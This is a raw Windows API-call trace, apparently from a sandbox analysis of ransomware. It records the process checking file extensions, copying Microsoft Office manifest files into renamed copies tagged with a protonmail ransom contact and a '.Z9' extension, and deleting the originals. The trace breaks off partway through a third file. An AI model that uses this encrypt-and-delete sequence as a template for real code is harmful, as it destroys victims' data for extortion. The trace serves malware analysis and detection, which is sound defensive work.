	[0075.819] lstrlenW (lpString=".xls") returned 4
	[0075.819] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString=".xlsx") returned 5
	[0075.819] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.819] lstrlenW (lpString=".ppt") returned 4
	[0075.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".zip") returned 4
	[0075.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.819] lstrlenW (lpString=".rar") returned 4
	[0075.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString=".bz2") returned 4
	[0075.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString=".7z") returned 3
	[0075.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".dbf") returned 4
	[0075.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".1cd") returned 4
	[0075.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".jpg") returned 4
	[0075.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.819] lstrlenW (lpString=".doc") returned 4
	[0075.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString=".docx") returned 5
	[0075.820] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.820] lstrlenW (lpString=".pdf") returned 4
	[0075.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString=".xls") returned 4
	[0075.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString=".xlsx") returned 5
	[0075.820] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.820] lstrlenW (lpString=".ppt") returned 4
	[0075.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.820] lstrlenW (lpString=".zip") returned 4
	[0075.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.820] lstrlenW (lpString=".rar") returned 4
	[0075.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString=".bz2") returned 4
	[0075.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString=".7z") returned 3
	[0075.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.820] lstrlenW (lpString=".dbf") returned 4
	[0075.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.820] lstrlenW (lpString=".1cd") returned 4
	[0075.820] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104
	[0075.820] lstrlenW (lpString=".jpg") returned 4
	[0075.820] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.820] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.821] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53
	[0075.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0076.126] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0076.126] CloseHandle (hObject=0x364) returned 1
	[0076.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0076.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0076.674] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.674] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0076.676] GetLastError () returned 0x0
	[0076.676] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0076.678] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0076.679] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.679] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.679] SetEndOfFile (hFile=0x2bc) returned 1
	[0076.679] CloseHandle (hObject=0x2bc) returned 1
	[0076.680] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.680] SetEndOfFile (hFile=0x360) returned 1
	[0076.681] CloseHandle (hObject=0x360) returned 1
	[0076.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0076.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString=".doc") returned 4
	[0076.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString=".docx") returned 5
	[0076.682] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.682] lstrlenW (lpString=".pdf") returned 4
	[0076.682] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString=".xls") returned 4
	[0076.682] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString=".xlsx") returned 5
	[0076.682] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.682] lstrlenW (lpString=".ppt") returned 4
	[0076.682] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString=".zip") returned 4
	[0076.682] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.682] lstrlenW (lpString=".rar") returned 4
	[0076.682] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString=".bz2") returned 4
	[0076.682] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString=".7z") returned 3
	[0076.682] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString=".dbf") returned 4
	[0076.682] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString=".1cd") returned 4
	[0076.682] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString=".jpg") returned 4
	[0076.682] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.683] lstrlenW (lpString=".doc") returned 4
	[0076.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString=".docx") returned 5
	[0076.683] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.683] lstrlenW (lpString=".pdf") returned 4
	[0076.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString=".xls") returned 4
	[0076.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString=".xlsx") returned 5
	[0076.683] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.683] lstrlenW (lpString=".ppt") returned 4
	[0076.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.683] lstrlenW (lpString=".zip") returned 4
	[0076.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.683] lstrlenW (lpString=".rar") returned 4
	[0076.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString=".bz2") returned 4
	[0076.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString=".7z") returned 3
	[0076.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.683] lstrlenW (lpString=".dbf") returned 4
	[0076.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.683] lstrlenW (lpString=".1cd") returned 4
	[0076.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104
	[0076.683] lstrlenW (lpString=".jpg") returned 4
	[0076.683] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.683] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0076.684] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53
	[0076.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0076.685] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=19451) returned 1
	[0076.685] CloseHandle (hObject=0x360) returned 1
	[0076.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0076.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0076.685] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.685] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0076.685] GetLastError () returned 0x0
	[0076.685] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4bfb, lpOverlapped=0x0) returned 1
	[0076.688] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4c00, lpOverlapped=0x0) returned 1
	[0076.689] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.689] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.689] SetEndOfFile (hFile=0x2bc) returned 1
	[0076.689] CloseHandle (hObject=0x2bc) returned 1
	[0076.690] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.690] SetEndOfFile (hFile=0x360) returned 1
	[0076.691] CloseHandle (hObject=0x360) returned 1
	[0076.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0076.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0076.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.692] lstrlenW (lpString=".doc") returned 4
	[0076.692] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.692] lstrlenW (lpString=".docx") returned 5
	[0076.692] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.692] lstrlenW (lpString=".pdf") returned 4
	[0076.692] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.692] lstrlenW (lpString=".xls") returned 4
	[0076.692] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.692] lstrlenW (lpString=".xlsx") returned 5
	[0076.692] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.692] lstrlenW (lpString=".ppt") returned 4
	[0076.692] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.692] lstrlenW (lpString=".zip") returned 4
	[0076.692] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.692] lstrlenW (lpString=".rar") returned 4
	[0076.692] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.692] lstrlenW (lpString=".bz2") returned 4
	[0076.692] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".7z") returned 3
	[0076.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString=".dbf") returned 4
	[0076.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString=".1cd") returned 4
	[0076.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString=".jpg") returned 4
	[0076.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString=".doc") returned 4
	[0076.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".docx") returned 5
	[0076.693] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.693] lstrlenW (lpString=".pdf") returned 4
	[0076.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".xls") returned 4
	[0076.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".xlsx") returned 5
	[0076.693] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.693] lstrlenW (lpString=".ppt") returned 4
	[0076.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.693] lstrlenW (lpString=".zip") returned 4
	[0076.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.693] lstrlenW (lpString=".rar") returned 4
	[0076.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".bz2") returned 4
	[0076.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.693] lstrlenW (lpString=".7z") returned 3
	[0076.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.694] lstrlenW (lpString=".dbf") returned 4
	[0076.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.694] lstrlenW (lpString=".1cd") returned 4
	[0076.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0076.694] lstrlenW (lpString=".jpg") returned 4
	[0076.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.694] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0076.694] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53
	[0076.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0076.695] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=763363) returned 1
	[0076.695] CloseHandle (hObject=0x360) returned 1
	[0076.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0076.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0076.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0076.695] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.695] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0076.696] GetLastError () returned 0x0
	[0076.696] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xba5e3, lpOverlapped=0x0) returned 1
	[0076.713] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xba5f0, lpOverlapped=0x0) returned 1
	[0077.163] ReadFile (in: hFile=0x360, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
